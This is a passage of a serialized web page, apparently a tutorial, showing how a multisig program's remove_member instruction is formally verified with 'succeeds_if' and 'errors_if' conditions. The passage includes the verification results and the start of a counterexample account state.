b\"multisig\"\n",{"type":24,"tag":271,"props":33345,"children":33346},{"class":273,"line":365},[33347,33352,33357,33361,33365,33369],{"type":24,"tag":271,"props":33348,"children":33349},{"style":288},[33350],{"type":29,"value":33351}," ], ",{"type":24,"tag":271,"props":33353,"children":33354},{"style":630},[33355],{"type":29,"value":33356},"bump",{"type":24,"tag":271,"props":33358,"children":33359},{"style":624},[33360],{"type":29,"value":1712},{"type":24,"tag":271,"props":33362,"children":33363},{"style":630},[33364],{"type":29,"value":30770},{"type":24,"tag":271,"props":33366,"children":33367},{"style":624},[33368],{"type":29,"value":41},{"type":24,"tag":271,"props":33370,"children":33371},{"style":288},[33372],{"type":29,"value":30750},{"type":24,"tag":271,"props":33374,"children":33375},{"class":273,"line":374},[33376],{"type":24,"tag":271,"props":33377,"children":33378},{"style":288},[33379],{"type":29,"value":30758},{"type":24,"tag":271,"props":33381,"children":33382},{"class":273,"line":384},[33383,33387,33392,33396,33400,33404,33408],{"type":24,"tag":271,"props":33384,"children":33385},{"style":278},[33386],{"type":29,"value":28530},{"type":24,"tag":271,"props":33388,"children":33389},{"style":630},[33390],{"type":29,"value":33391}," multisig_auth",{"type":24,"tag":271,"props":33393,"children":33394},{"style":624},[33395],{"type":29,"value":12210},{"type":24,"tag":271,"props":33397,"children":33398},{"style":3887},[33399],{"type":29,"value":30843},{"type":24,"tag":271,"props":33401,"children":33402},{"style":288},[33403],{"type":29,"value":30608},{"type":24,"tag":271,"props":33405,"children":33406},{"style":3887},[33407],{"type":29,"value":30613},{"type":24,"tag":271,"props":33409,"children":33410},{"style":288},[33411],{"type":29,"value":13855},{"type":24,"tag":271,"props":33413,"children":33414},{"class":273,"line":393},[33415],{"type":24,"tag":271,"props":33416,"children":33417},{"style":288},[33418],{"type":29,"value":1171},{"type":24,"tag":271,"props":33420,"children":33421},{"class":273,"line":402},[33422],{"type":24,"tag":271,"props":33423,"children":33424},{"emptyLinePlaceholder":16},[33425],{"type":29,"value":327},{"type":24,"tag":271,"props":33427,"children":33428},{"class":273,"line":411},[33429,33433,33437,33442,33446,33450,33454,33458,33462,33467,33471,33476,33480,33484,33488,33492,33496],{"type":24,"tag":271,"props":33430,"children":33431},{"style":278},[33432],{"type":29,"value":21391},{"type":24,"tag":271,"props":33434,"children":33435},{"style":278},[33436],{"type":29,"value":21396},{"type":24,"tag":271,"props":33438,"children":33439},{"style":598},[33440],{"type":29,"value":33441}," remove_member",{"type":24,"tag":271,"props":33443,"children":33444},{"style":288},[33445],{"type":29,"value":606},{"type":24,"tag":271,"props":33447,"children":33448},{"style":630},[33449],{"type":29,"value":633},{"type":24,"tag":271,"props":33451,"children":33452},{"style":624},[33453],{"type":29,"value":12210},{"type":24,"tag":271,"props":33455,"children":33456},{"style":3887},[33457],{"type":29,"value":27977},{"type":24,"tag":271,"props":33459,"children":33460},{"style":288},[33461],{"type":29,"value":801},{"type":24,"tag":271,"props":33463,"children":33464},{"style":3887},[33465],{"type":29,"value":33466},"MsAuth",{"type":24,"tag":271,"props":33468,"children":33469},{"style":288},[33470],{"type":29,"value":14347},{"type":24,"tag":271,"props":33472,"children":33473},{"style":630},[33474],{"type":29,"value":33475},"old_member",{"type":24,"tag":271,"props":33477,"children":33478},{"style":624},[33479],{"type":29,"value":12210},{"type":24,"tag":271,"props":33481,"children":33482},{"style":3887},[33483],{"type":29,"value":28544},{"type":24,"tag":271,"props":33485,"children":33486},{"style":288},[33487],{"type":29,"value":8823},{"type":24,"tag":271,"props":33489,"children":33490},{"style":624},[33491],{"type":29,"value":786},{"type":24,"tag":271,"props":33493,"children":33494},{"style":3887},[33495],{"type":29,"value":21462},{"type":24,"tag":271,"props":33497,"children":33498},{"style":288},[33499],{"type":29,"value":28019},{"type":24,"tag":271,"props":33501,"children":33502},{"class":273,"line":420},[33503],{"type":24,"tag":271,"props":33504,"children":33505},{"style":2058},[33506],{"type":29,"value":33507}," // if there is only one key in this multisig, reject the removal\n",{"type":24,"tag":271,"props":33509,"children":33510},{"class":273,"line":429},[33511,33515,33520,33524,33528,33532,33536,33540,33544,33548,33552,33556,33560,33564],{"type":24,"tag":271,"props":33512,"children":33513},{"style":749},[33514],{"type":29,"value":5025},{"type":24,"tag":271,"props":33516,"children":33517},{"style":630},[33518],{"type":29,"value":33519}," ctx",{"type":24,"tag":271,"props":33521,"children":33522},{"style":624},[33523],{"type":29,"value":41},{"type":24,"tag":271,"props":33525,"children":33526},{"style":288},[33527],{"type":29,"value":22373},{"type":24,"tag":271,"props":33529,"children":33530},{"style":624},[33531],{"type":29,"value":41},{"type":24,"tag":271,"props":33533,"children":33534},{"style":288},[33535],{"type":29,"value":31486},{"type":24,"tag":271,"props":33537,"children":33538},{"style":624},[33539],{"type":29,"value":41},{"type":24,"tag":271,"props":33541,"children":33542},{"style":288},[33543],{"type":29,"value":28670},{"type":24,"tag":271,"props":33545,"children":33546},{"style":624},[33547],{"type":29,"value":41},{"type":24,"tag":271,"props":33549,"children":33550},{"style":598},[33551],{"type":29,"value":8335},{"type":24,"tag":271,"props":33553,"children":33554},{"style":288},[33555],{"type":29,"value":21742},{"type":24,"tag":271,"props":33557,"children":33558},{"style":624},[33559],{"type":29,"value":5059},{"type":24,"tag":271,"props":33561,"children":33562},{"style":477},[33563],{"type":29,"value":824},{"type":24,"tag":271,"props":33565,"children":33566},{"style":288},[33567],{"type":29,"value":7145},{"type":24,"tag":271,"props":33569,"children":33570},{"class":273,"line":438},[33571,33575,33579,33583,33587,33591,33596],{"type":24,"tag":271,"props":33572,"children":33573},{"style":749},[33574],{"type":29,"value":8905},{"type":24,"tag":271,"props":33576,"children":33577},{"style":598},[33578],{"type":29,"value":31203},{"type":24,"tag":271,"props":33580,"children":33581},{"style":288},[33582],{"type":29,"value":606},{"type":24,"tag":271,"props":33584,"children":33585},{"style":3887},[33586],{"type":29,"value":31212},{"type":24,"tag":271,"props":33588,"children":33589},{"style":624},[33590],{"type":29,"value":11207},{"type":24,"tag":271,"props":33592,"children":33593},{"style":3887},[33594],{"type":29,"value":33595},"CannotRemoveSoloMember",{"type":24,"tag":271,"props":33597,"children":33598},{"style":288},[33599],{"type":29,"value":1155},{"type":24,"tag":271,"props":33601,"children":33602},{"class":273,"line":447},[33603],{"type":24,"tag":271,"props":33604,"children":33605},{"style":288},[33606],{"type":29,"value":4385},{"type":24,"tag":271,"props":33608,"children":33609},{"class":273,"line":455},[33610,33614,33618,33622,33626,33630,33634,33638,33642,33646,33650,33654],{"type":24,"tag":271,"props":33611,"children":33612},{"style":630},[33613],{"type":29,"value":27912},{"type":24,"tag":271,"props":33615,"children":33616},{"style":624},[33617],{"type":29,"value":41},{"type":24,"tag":271,"props":33619,"children":33620},{"style":288},[33621],{"type":29,"value":22373},{"type":24,"tag":271,"props":33623,"children":33624},{"style":624},[33625],{"type":29,"value":41},{"type":24,"tag":271,"props":33627,"children":33628},{"style":288},[33629],{"type":29,"value":31486},{"type":24,"tag":271,"props":33631,"children":33632},{"style":624},[33633],{"type":29,"value":41},{"type":24,"tag":271,"props":33635,"children":33636},{"style":598},[33637],{"type":29,"value":33142},{"type":24,"tag":271,"props":33639,"children":33640},{"style":288},[33641],{"type":29,"value":606},{"type":24,"tag":271,"props":33643,"children":33644},{"style":630},[33645],{"type":29,"value":33475},{"type":24,"tag":271,"props":33647,"children":33648},{"style":288},[33649],{"type":29,"value":2693},{"type":24,"tag":271,"props":33651,"children":33652},{"style":624},[33653],{"type":29,"value":10887},{"type":24,"tag":271,"props":33655,"children":33656},{"style":288},[33657],{"type":29,"value":1069},{"type":24,"tag":271,"props":33659,"children":33660},{"class":273,"line":464},[33661],{"type":24,"tag":271,"props":33662,"children":33663},{"emptyLinePlaceholder":16},[33664],{"type":29,"value":327},{"type":24,"tag":271,"props":33666,"children":33667},{"class":273,"line":473},[33668],{"type":24,"tag":271,"props":33669,"children":33670},{"style":2058},[33671],{"type":29,"value":33672}," // if the number of keys is now less than the threshold, adjust it\n",{"type":24,"tag":271,"props":33674,"children":33675},{"class":273,"line":483},[33676,33680,33684,33688,33692,33696,33700,33704,33708,33712,33716,33721,33725,33729,33733,33737,33741,33745,33749,33753,33757,33761],{"type":24,"tag":271,"props":33677,"children":33678},{"style":749},[33679],{"type":29,"value":5025},{"type":24,"tag":271,"props":33681,"children":33682},{"style":630},[33683],{"type":29,"value":33519},{"type":24,"tag":271,"props":33685,"children":33686},{"style":624},[33687],{"type":29,"value":41},{"type":24,"tag":271,"props":33689,"children":33690},{"style":288},[33691],{"type":29,"value":22373},{"type":24,"tag":271,"props":33693,"children":33694},{"style":624},[33695],{"type":29,"value":41},{"type":24,"tag":271,"props":33697,"children":33698},{"style":288},[33699],{"type":29,"value":31486},{"type":24,"tag":271,"props":33701,"children":33702},{"style":624},[33703],{"type":29,"value":41},{"type":24,"tag":271,"props":33705,"children":33706},{"style":288},[33707],{"type":29,"value":28670},{"type":24,"tag":271,"props":33709,"children":33710},{"style":624},[33711],{"type":29,"value":41},{"type":24,"tag":271,"props":33713,"children":33714},{"style":598},[33715],{"type":29,"value":8335},{"type":24,"tag":271,"props":33717,"children":33718},{"style":288},[33719],{"type":29,"value":33720},"() \u003C ",{"type":24,"tag":271,"props":33722,"children":33723},{"style":3887},[33724],{"type":29,"value":24296},{"type":24,"tag":271,"props":33726,"children":33727},{"style":624},[33728],{"type":29,"value":11207},{"type":24,"tag":271,"props":33730,"children":33731},{"style":598},[33732],{"type":29,"value":27162},{"type":24,"tag":271,"props":33734,"children":33735},{"style":288},[33736],{"type":29,"value":606},{"type":24,"tag":271,"props":33738,"children":33739},{"style":630},[33740],{"type":29,"value":633},{"type":24,"tag":271,"props":33742,"children":33743},{"style":624},[33744],{"type":29,"value":41},{"type":24,"tag":271,"props":33746,"children":33747},{"style":288},[33748],{"type":29,"value":22373},{"type":24,"tag":271,"props":33750,"children":33751},{"style":624},[33752],{"type":29,"value":41},{"type":24,"tag":271,"props":33754,"children":33755},{"style":288},[33756],{"type":29,"value":31486},{"type":24,"tag":271,"props":33758,"children":33759},{"style":624},[33760],{"type":29,"value":41},{"type":24,"tag":271,"props":33762,"children":33763},{"style":288},[33764],{"type":29,"value":33765},"threshold) {\n",{"type":24,"tag":271,"props":33767,"children":33768},{"class":273,"line":491},[33769,33773,33778,33782,33786,33790,33794,33798,33802,33806,33810,33814,33818,33822,33826,33830,33834,33839,33843,33847,33851],{"type":24,"tag":271,"props":33770,"children":33771},{"style":278},[33772],{"type":29,"value":10800},{"type":24,"tag":271,"props":33774,"children":33775},{"style":630},[33776],{"type":29,"value":33777}," new_threshold",{"type":24,"tag":271,"props":33779,"children":33780},{"style":624},[33781],{"type":29,"value":12210},{"type":24,"tag":271,"props":33783,"children":33784},{"style":3887},[33785],{"type":29,"value":28717},{"type":24,"tag":271,"props":33787,"children":33788},{"style":624},[33789],{"type":29,"value":1712},{"type":24,"tag":271,"props":33791,"children":33792},{"style":630},[33793],{"type":29,"value":33519},{"type":24,"tag":271,"props":33795,"children":33796},{"style":624},[33797],{"type":29,"value":41},{"type":24,"tag":271,"props":33799,"children":33800},{"style":288},[33801],{"type":29,"value":22373},{"type":24,"tag":271,"props":33803,"children":33804},{"style":624},[33805],{"type":29,"value":41},{"type":24,"tag":271,"props":33807,"children":33808},{"style":288},[33809],{"type":29,"value":31486},{"type":24,"tag":271,"props":33811,"children":33812},{"style":624},[33813],{"type":29,"value":41},{"type":24,"tag":271,"props":33815,"children":33816},{"style":288},[33817],{"type":29,"value":28670},{"type":24,"tag":271,"props":33819,"children":33820},{"style":624},[33821],{"type":29,"value":41},{"type":24,"tag":271,"props":33823,"children":33824},{"style":598},[33825],{"type":29,"value":8335},{"type":24,"tag":271,"props":33827,"children":33828},{"style":288},[33829],{"type":29,"value":21579},{"type":24,"tag":271,"props":33831,"children":33832},{"style":624},[33833],{"type":29,"value":41},{"type":24,"tag":271,"props":33835,"children":33836},{"style":598},[33837],{"type":29,"value":33838},"try_into",{"type":24,"tag":271,"props":33840,"children":33841},{"style":288},[33842],{"type":29,"value":21579},{"type":24,"tag":271,"props":33844,"children":33845},{"style":624},[33846],{"type":29,"value":41},{"type":24,"tag":271,"props":33848,"children":33849},{"style":598},[33850],{"type":29,"value":11391},{"type":24,"tag":271,"props":33852,"children":33853},{"style":288},[33854],{"type":29,"value":4230},{"type":24,"tag":271,"props":33856,"children":33857},{"class":273,"line":499},[33858,33863,33867,33871,33875,33879,33883,33888,33892,33897,33901,33905],{"type":24,"tag":271,"props":33859,"children":33860},{"style":630},[33861],{"type":29,"value":33862}," ctx",{"type":24,"tag":271,"props":33864,"children":33865},{"style":624},[33866],{"type":29,"value":41},{"type":24,"tag":271,"props":33868,"children":33869},{"style":288},[33870],{"type":29,"value":22373},{"type":24,"tag":271,"props":33872,"children":33873},{"style":624},[33874],{"type":29,"value":41},{"type":24,"tag":271,"props":33876,"children":33877},{"style":288},[33878],{"type":29,"value":31486},{"type":24,"tag":271,"props":33880,"children":33881},{"style":624},[33882],{"type":29,"value":41},{"type":24,"tag":271,"props":33884,"children":33885},{"style":598},[33886],{"type":29,"value":33887},"change_threshold",{"type":24,"tag":271,"props":33889,"children":33890},{"style":288},[33891],{"type":29,"value":606},{"type":24,"tag":271,"props":33893,"children":33894},{"style":630},[33895],{"type":29,"value":33896},"new_threshold",{"type":24,"tag":271,"props":33898,"children":33899},{"style":288},[33900],{"type":29,"value":2693},{"type":24,"tag":271,"props":33902,"children":33903},{"style":624},[33904],{"type":29,"value":10887},{"type":24,"tag":271,"props":33906,"children":33907},{"style":288},[33908],{"type":29,"value":1069},{"type":24,"tag":271,"props":33910,"children":33911},{"class":273,"line":3188},[33912],{"type":24,"tag":271,"props":33913,"children":33914},{"style":288},[33915],{"type":29,"value":4385},{"type":24,"tag":271,"props":33917,"children":33918},{"class":273,"line":3247},[33919,33923,33928,33932,33936,33940,33944,33948,33952,33956],{"type":24,"tag":271,"props":33920,"children":33921},{"style":278},[33922],{"type":29,"value":10738},{"type":24,"tag":271,"props":33924,"children":33925},{"style":630},[33926],{"type":29,"value":33927}," new_index",{"type":24,"tag":271,"props":33929,"children":33930},{"style":624},[33931],{"type":29,"value":1712},{"type":24,"tag":271,"props":33933,"children":33934},{"style":630},[33935],{"type":29,"value":33519},{"type":24,"tag":271,"props":33937,"children":33938},{"style":624},[33939],{"type":29,"value":41},{"type":24,"tag":271,"props":33941,"children":33942},{"style":288},[33943],{"type":29,"value":22373},{"type":24,"tag":271,"props":33945,"children":33946},{"style":624},[33947],{"type":29,"value":41},{"type":24,"tag":271,"props":33949,"children":33950},{"style":288},[33951],{"type":29,"value":31486},{"type":24,"tag":271,"props":33953,"children":33954},{"style":624},[33955],{"type":29,"value":41},{"type":24,"tag":271,"props":33957,"children":33958},{"style":288},[33959],{"type":29,"value":33960},"transaction_index;\n",{"type":24,"tag":271,"props":33962,"children":33963},{"class":273,"line":3255},[33964,33968,33972,33976,33980,33984,33988,33993,33997,34002],{"type":24,"tag":271,"props":33965,"children":33966},{"style":630},[33967],{"type":29,"value":27912},{"type":24,"tag":271,"props":33969,"children":33970},{"style":624},[33971],{"type":29,"value":41},{"type":24,"tag":271,"props":33973,"children":33974},{"style":288},[33975],{"type":29,"value":22373},{"type":24,"tag":271,"props":33977,"children":33978},{"style":624},[33979],{"type":29,"value":41},{"type":24,"tag":271,"props":33981,"children":33982},{"style":288},[33983],{"type":29,"value":31486},{"type":24,"tag":271,"props":33985,"children":33986},{"style":624},[33987],{"type":29,"value":41},{"type":24,"tag":271,"props":33989,"children":33990},{"style":598},[33991],{"type":29,"value":33992},"set_change_index",{"type":24,"tag":271,"props":33994,"children":33995},{"style":288},[33996],{"type":29,"value":606},{"type":24,"tag":271,"props":33998,"children":33999},{"style":630},[34000],{"type":29,"value":34001},"new_index",{"type":24,"tag":271,"props":34003,"children":34004},{"style":288},[34005],{"type":29,"value":694},{"type":24,"tag":271,"props":34007,"children":34008},{"class":273,"line":3263},[34009],{"type":24,"tag":271,"props":34010,"children":34011},{"style":288},[34012],{"type":29,"value":1171},{"type":24,"tag":25,"props":34014,"children":34015},{},[34016,34018,34023],{"type":29,"value":34017},"First let's establish the ",{"type":24,"tag":135,"props":34019,"children":34021},{"className":34020},[],[34022],{"type":29,"value":27843},{"type":29,"value":34024}," condition. We can do this either interactively, following counterexamples like in the first example or we can guess what a sufficient condition might be:",{"type":24,"tag":261,"props":34026,"children":34028},{"code":34027,"language":10717,"meta":7,"className":10718,"style":7},"#[succeeds_if(\n ctx.accounts.multisig.keys.len() > 1\n)]\nfn remove_member(...) { ... }\n",[34029],{"type":24,"tag":135,"props":34030,"children":34031},{"__ignoreMap":7},[34032,34039,34086,34093],{"type":24,"tag":271,"props":34033,"children":34034},{"class":273,"line":274},[34035],{"type":24,"tag":271,"props":34036,"children":34037},{"style":288},[34038],{"type":29,"value":31787},{"type":24,"tag":271,"props":34040,"children":34041},{"class":273,"line":284},[34042,34046,34050,34054,34058,34062,34066,34070,34074,34078,34082],{"type":24,"tag":271,"props":34043,"children":34044},{"style":288},[34045],{"type":29,"value":27912},{"type":24,"tag":271,"props":34047,"children":34048},{"style":624},[34049],{"type":29,"value":41},{"type":24,"tag":271,"props":34051,"children":34052},{"style":288},[34053],{"type":29,"value":22373},{"type":24,"tag":271,"props":34055,"children":34056},{"style":624},[34057],{"type":29,"value":41},{"type":24,"tag":271,"props":34059,"children":34060},{"style":288},[34061],{"type":29,"value":31486},{"type":24,"tag":271,"props":34063,"children":34064},{"style":624},[34065],{"type":29,"value":41},{"type":24,"tag":271,"props":34067,"children":34068},{"style":288},[34069],{"type":29,"value":28670},{"type":24,"tag":271,"props":34071,"children":34072},{"style":624},[34073],{"type":29,"value":41},{"type":24,"tag":271,"props":34075,"children":34076},{"style":288},[34077],{"type":29,"value":28708},{"type":24,"tag":271,"props":34079,"children":34080},{"style":624},[34081],{"type":29,"value":18165},{"type":24,"tag":271,"props":34083,"children":34084},{"style":288},[34085],{"type":29,"value":27131},{"type":24,"tag":271,"props":34087,"children":34088},{"class":273,"line":294},[34089],{"type":24,"tag":271,"props":34090,"children":34091},{"style":288},[34092],{"type":29,"value":27947},{"type":24,"tag":271,"props":34094,"children":34095},{"class":273,"line":303},[34096,34100,34104,34108,34112,34116,34120],{"type":24,"tag":271,"props":34097,"children":34098},{"style":278},[34099],{"type":29,"value":27955},{"type":24,"tag":271,"props":34101,"children":34102},{"style":598},[34103],{"type":29,"value":33441},{"type":24,"tag":271,"props":34105,"children":34106},{"style":288},[34107],{"type":29,"value":606},{"type":24,"tag":271,"props":34109,"children":34110},{"style":624},[34111],{"type":29,"value":17298},{"type":24,"tag":271,"props":34113,"children":34114},{"style":288},[34115],{"type":29,"value":31664},{"type":24,"tag":271,"props":34117,"children":34118},{"style":624},[34119],{"type":29,"value":17298},{"type":24,"tag":271,"props":34121,"children":34122},{"style":288},[34123],{"type":29,"value":1163},{"type":24,"tag":25,"props":34125,"children":34126},{},[34127,34129,34134],{"type":29,"value":34128},"And for now let's remove the invariant on the ",{"type":24,"tag":135,"props":34130,"children":34132},{"className":34131},[],[34133],{"type":29,"value":30427},{"type":29,"value":34135}," account:",{"type":24,"tag":261,"props":34137,"children":34139},{"code":34138,"language":10717,"meta":7,"className":10718,"style":7},"#[invariant()]\npub struct Ms { ... }\n",[34140],{"type":24,"tag":135,"props":34141,"children":34142},{"__ignoreMap":7},[34143,34151],{"type":24,"tag":271,"props":34144,"children":34145},{"class":273,"line":274},[34146],{"type":24,"tag":271,"props":34147,"children":34148},{"style":288},[34149],{"type":29,"value":34150},"#[invariant()]\n",{"type":24,"tag":271,"props":34152,"children":34153},{"class":273,"line":284},[34154,34158,34162,34166,34170,34174],{"type":24,"tag":271,"props":34155,"children":34156},{"style":278},[34157],{"type":29,"value":21391},{"type":24,"tag":271,"props":34159,"children":34160},{"style":278},[34161],{"type":29,"value":616},{"type":24,"tag":271,"props":34163,"children":34164},{"style":3887},[34165],{"type":29,"value":28842},{"type":24,"tag":271,"props":34167,"children":34168},{"style":288},[34169],{"type":29,"value":17293},{"type":24,"tag":271,"props":34171,"children":34172},{"style":624},[34173],{"type":29,"value":17298},{"type":24,"tag":271,"props":34175,"children":34176},{"style":288},[34177],{"type":29,"value":1163},{"type":24,"tag":25,"props":34179,"children":34180},{},[34181],{"type":29,"value":34182},"Let's test this!",{"type":24,"tag":25,"props":34184,"children":34185},{},[34186,34188,34193],{"type":29,"value":34187},"Our ",{"type":24,"tag":135,"props":34189,"children":34191},{"className":34190},[],[34192],{"type":29,"value":27843},{"type":29,"value":34194}," harness produces:",{"type":24,"tag":261,"props":34196,"children":34198},{"code":34197},"VERIFICATION:- SUCCESSFUL\nVerification Time: 28.119272s\n",[34199],{"type":24,"tag":135,"props":34200,"children":34201},{"__ignoreMap":7},[34202],{"type":29,"value":34197},{"type":24,"tag":25,"props":34204,"children":34205},{},[34206],{"type":29,"value":34207},"This tells us that if our multisig has at least two keys then the instruction will succeed.",{"type":24,"tag":25,"props":34209,"children":34210},{},[34211,34213,34218],{"type":29,"value":34212},"However, remember that since ",{"type":24,"tag":135,"props":34214,"children":34216},{"className":34215},[],[34217],{"type":29,"value":27843},{"type":29,"value":34219}," represents just the sufficient conditions, there may be other cases where the function succeeds.",{"type":24,"tag":25,"props":34221,"children":34222},{},[34223,34225,34230,34232,34237,34239,34244],{"type":29,"value":34224},"Suppose we want to be sure that this condition is the ",{"type":24,"tag":10648,"props":34226,"children":34227},{},[34228],{"type":29,"value":34229},"only condition",{"type":29,"value":34231}," in which the function will succeed (i.e. ",{"type":24,"tag":10648,"props":34233,"children":34234},{},[34235],{"type":29,"value":34236},"\"the function will succeed if and only if the multisig has at least two keys\"",{"type":29,"value":34238},"). We could attempt to verify the other side of this with an ",{"type":24,"tag":135,"props":34240,"children":34242},{"className":34241},[],[34243],{"type":29,"value":27850},{"type":29,"value":34245}," macro such as:",{"type":24,"tag":261,"props":34247,"children":34249},{"code":34248,"language":10717,"meta":7,"className":10718,"style":7},"#[succeeds_if(\n ctx.accounts.multisig.keys.len() > 1\n)]\n#[errors_if(\n ctx.accounts.multisig.keys.len() \u003C= 1\n)]\nfn remove_member(...) { ... }\n",[34250],{"type":24,"tag":135,"props":34251,"children":34252},{"__ignoreMap":7},[34253,34260,34307,34314,34321,34368,34375],{"type":24,"tag":271,"props":34254,"children":34255},{"class":273,"line":274},[34256],{"type":24,"tag":271,"props":34257,"children":34258},{"style":288},[34259],{"type":29,"value":31787},{"type":24,"tag":271,"props":34261,"children":34262},{"class":273,"line":284},[34263,34267,34271,34275,34279,34283,34287,34291,34295,34299,34303],{"type":24,"tag":271,"props":34264,"children":34265},{"style":288},[34266],{"type":29,"value":27912},{"type":24,"tag":271,"props":34268,"children":34269},{"style":624},[34270],{"type":29,"value":41},{"type":24,"tag":271,"props":34272,"children":34273},{"style":288},[34274],{"type":29,"value":22373},{"type":24,"tag":271,"props":34276,"children":34277},{"style":624},[34278],{"type":29,"value":41},{"type":24,"tag":271,"props":34280,"children":34281},{"style":288},[34282],{"type":29,"value":31486},{"type":24,"tag":271,"props":34284,"children":34285},{"style":624},[34286],{"type":29,"value":41},{"type":24,"tag":271,"props":34288,"children":34289},{"style":288},[34290],{"type":29,"value":28670},{"type":24,"tag":271,"props":34292,"children":34293},{"style":624},[34294],{"type":29,"value":41},{"type":24,"tag":271,"props":34296,"children":34297},{"style":288},[34298],{"type":29,"value":28708},{"type":24,"tag":271,"props":34300,"children":34301},{"style":624},[34302],{"type":29,"value":18165},{"type":24,"tag":271,"props":34304,"children":34305},{"style":288},[34306],{"type":29,"value":27131},{"type":24,"tag":271,"props":34308,"children":34309},{"class":273,"line":294},[34310],{"type":24,"tag":271,"props":34311,"children":34312},{"style":288},[34313],{"type":29,"value":27947},{"type":24,"tag":271,"props":34315,"children":34316},{"class":273,"line":303},[34317],{"type":24,"tag":271,"props":34318,"children":34319},{"style":288},[34320],{"type":29,"value":27904},{"type":24,"tag":271,"props":34322,"children":34323},{"class":273,"line":312},[34324,34328,34332,34336,34340,34344,34348,34352,34356,34360,34364],{"type":24,"tag":271,"props":34325,"children":34326},{"style":288},[34327],{"type":29,"value":27912},{"type":24,"tag":271,"props":34329,"children":34330},{"style":624},[34331],{"type":29,"value":41},{"type":24,"tag":271,"props":34333,"children":34334},{"style":288},[34335],{"type":29,"value":22373},{"type":24,"tag":271,"props":34337,"children":34338},{"style":624},[34339],{"type":29,"value":41},{"type":24,"tag":271,"props":34341,"children":34342},{"style":288},[34343],{"type":29,"value":31486},{"type":24,"tag":271,"props":34345,"children":34346},{"style":624},[34347],{"type":29,"value":41},{"type":24,"tag":271,"props":34349,"children":34350},{"style":288},[34351],{"type":29,"value":28670},{"type":24,"tag":271,"props":34353,"children":34354},{"style":624},[34355],{"type":29,"value":41},{"type":24,"tag":271,"props":34357,"children":34358},{"style":288},[34359],{"type":29,"value":28708},{"type":24,"tag":271,"props":34361,"children":34362},{"style":624},[34363],{"type":29,"value":27103},{"type":24,"tag":271,"props":34365,"children":34366},{"style":288},[34367],{"type":29,"value":27131},{"type":24,"tag":271,"props":34369,"children":34370},{"class":273,"line":321},[34371],{"type":24,"tag":271,"props":34372,"children":34373},{"style":288},[34374],{"type":29,"value":27947},{"type":24,"tag":271,"props":34376,"children":34377},{"class":273,"line":330},[34378,34382,34386,34390,34394,34398,34402],{"type":24,"tag":271,"props":34379,"children":34380},{"style":278},[34381],{"type":29,"value":27955},{"type":24,"tag":271,"props":34383,"children":34384},{"style":598},[34385],{"type":29,"value":33441},{"type":24,"tag":271,"props":34387,"children":34388},{"style":288},[34389],{"type":29,"value":606},{"type":24,"tag":271,"props":34391,"children":34392},{"style":624},[34393],{"type":29,"value":17298},{"type":24,"tag":271,"props":34395,"children":34396},{"style":288},[34397],{"type":29,"value":31664},{"type":24,"tag":271,"props":34399,"children":34400},{"style":624},[34401],{"type":29,"value":17298},{"type":24,"tag":271,"props":34403,"children":34404},{"style":288},[34405],{"type":29,"value":1163},{"type":24,"tag":25,"props":34407,"children":34408},{},[34409,34411,34416],{"type":29,"value":34410},"Let's test this, we just need to run the new ",{"type":24,"tag":135,"props":34412,"children":34414},{"className":34413},[],[34415],{"type":29,"value":27850},{"type":29,"value":34417}," harness:",{"type":24,"tag":261,"props":34419,"children":34421},{"code":34420},"VERIFICATION:- FAILED\nVerification Time: 31.900913s\n",[34422],{"type":24,"tag":135,"props":34423,"children":34424},{"__ignoreMap":7},[34425],{"type":29,"value":34420},{"type":24,"tag":25,"props":34427,"children":34428},{},[34429],{"type":29,"value":34430},"Hmm, this verification failed! Let's look at the counterexample. The multisig it is trying to remove a member from looks like:",{"type":24,"tag":261,"props":34432,"children":34434},{"code":34433,"language":10717,"meta":7,"className":10718,"style":7},"Account {\n account: Ms {\n threshold: 0,\n authority_index: 0,\n transaction_index: 0,\n ms_change_index: 0,\n bump: 0,\n create_key: ...,\n allow_external_execute: false,\n keys: Vec {\n data: ...,\n size: 0,\n },\n },\n info: AccountInfo { ... },\n}\n",[34435],{"type":24,"tag":135,"props":34436,"children":34437},{"__ignoreMap":7},[34438,34449,34468,34487,34506,34525,34544,34563,34582,34601,34620,34640,34659,34666,34673,34700],{"type":24,"tag":271,"props":34439,"children":34440},{"class":273,"line":274},[34441,34445],{"type":24,"tag":271,"props":34442,"children":34443},{"style":3887},[34444],{"type":29,"value":24839},{"type":24,"tag":271,"props":34446,"children":34447},{"style":288},[34448],{"type":29,"value":7145},{"type":24,"tag":271,"props":34450,"children":34451},{"class":273,"line":284},[34452,34456,34460,34464],{"type":24,"tag":271,"props":34453,"children":34454},{"style":630},[34455],{"type":29,"value":32847},{"type":24,"tag":271,"props":34457,"children":34458},{"style":624},[34459],{"type":29,"value":12210},{"type":24,"tag":271,"props":34461,"children":34462},{"style":3887},[34463],{"type":29,"value":28842},{"type":24,"tag":271,"props":34465,"children":34466},{"style":288},[34467],{"type":29,"value":7145},{"type":24,"tag":271,"props":34469,"children":34470},{"class":273,"line":294},[34471,34475,34479,34483],{"type":24,"tag":271,"props":34472,"children":34473},{"style":630},[34474],{"type":29,"value":31506},{"type":24,"tag":271,"props":34476,"children":34477},{"style":624},[34478],{"type":29,"value":12210},{"type":24,"tag":271,"props":34480,"children":34481},{"style":477},[34482],{"type":29,"value":767},{"type":24,"tag":271,"props":34484,"children":34485},{"style":288},[34486],{"type":29,"value":638},{"type":24,"tag":271,"props":34488,"children":34489},{"class":273,"line":303},[34490,34494,34498,34502],{"type":24,"tag":271,"props":34491,"children":34492},{"style":630},[34493],{"type":29,"value":32887},{"type":24,"tag":271,"props":34495,"children":34496},{"style":624},[34497],{"type":29,"value":12210},{"type":24,"tag":271,"props":34499,"children":34500},{"style":477},[34501],{"type":29,"value":767},{"type":24,"tag":271,"props":34503,"children":34504},{"style":288},[34505],{"type":29,"value":638},{"type":24,"tag":271,"props":34507,"children":34508},{"class":273,"line":312},[34509,34513,34517,34521],{"type":24,"tag":271,"props":34510,"children":34511},{"style":630},[34512],{"type":29,"value":32907},{"type":24,"tag":271,"props":34514,"children":34515},{"style":624},[34516],{"type":29,"value":12210},{"type":24,"tag":271,"props":34518,"children":34519},{"style":477},[34520],{"type":29,"value":767},{"type":24,"tag":271,"props":34522,"children":34523},{"style":288},[34524],{"type":29,"value":638},{"type":24,"tag":271,"props":34526,"children":34527},{"class":273,"line":321},[34528,34532,34536,34540],{"type":24,"tag":271,"props":34529,"children":34530},{"style":630},[34531],{"type":29,"value":32927},{"type":24,"tag":271,"props":34533,"children":34534},{"style":624},[34535],{"type":29,"value":12210},{"type":24,"tag":271,"props":34537,"children":34538},{"style":477},[34539],{"type":29,"value":767},{"type":24,"tag":271,"props":34541,"children":34542},{"style":28